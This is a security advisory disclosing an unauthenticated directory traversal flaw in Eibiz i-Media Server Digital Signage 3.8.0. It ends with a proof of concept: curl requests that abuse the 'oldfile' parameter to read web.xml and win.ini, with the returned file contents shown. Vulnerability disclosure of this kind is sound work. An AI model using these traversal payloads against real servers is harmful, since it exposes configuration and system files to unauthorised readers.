Eibiz i-Media Server Digital Signage version 3.8.0 is affected by a directory traversal vulnerability. An unauthenticated remote attacker can exploit this to view the contents of files located outside of the server's root directory. The issue can be triggered through the oldfile GET parameter.
48bcb45f0b05d6750b03ec9ce8698dc6
Eibiz i-Media Server Digital Signage 3.8.0 (oldfile) File Path Traversal
Vendor: EIBIZ Co.,Ltd.
Product web page: http://www.eibiz.co.th
Affected version: <=3.8.0
Summary: EIBIZ develop advertising platform for out of home media in that
time the world called "Digital Signage". Because most business customers
still need get outside to get in touch which products and services. Online
media alone cannot serve them right place, right time.
Desc: i-Media Server is affected by a directory traversal vulnerability. An
unauthenticated remote attacker can exploit this to view the contents of
files located outside of the server's root directory. The issue can be
triggered through the 'oldfile' GET parametery.
Tested on: Windows Server 2016
Windows Server 2012 R2
Windows Server 2008 R2
Apache Flex
Apache Tomcat/6.0.14
Apache-Coyote/1.1
BlazeDS Application
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2020-5585
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5585.php
26.07.2020
--
$ curl "http://192.168.1.1/dlibrary/null?oldfile=../../WEB-INF/web.xml&library=null"
$ curl "http://192.168.1.1/dlibrary/null?oldfile=../../../../../../windows/win.ini&library=null"
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1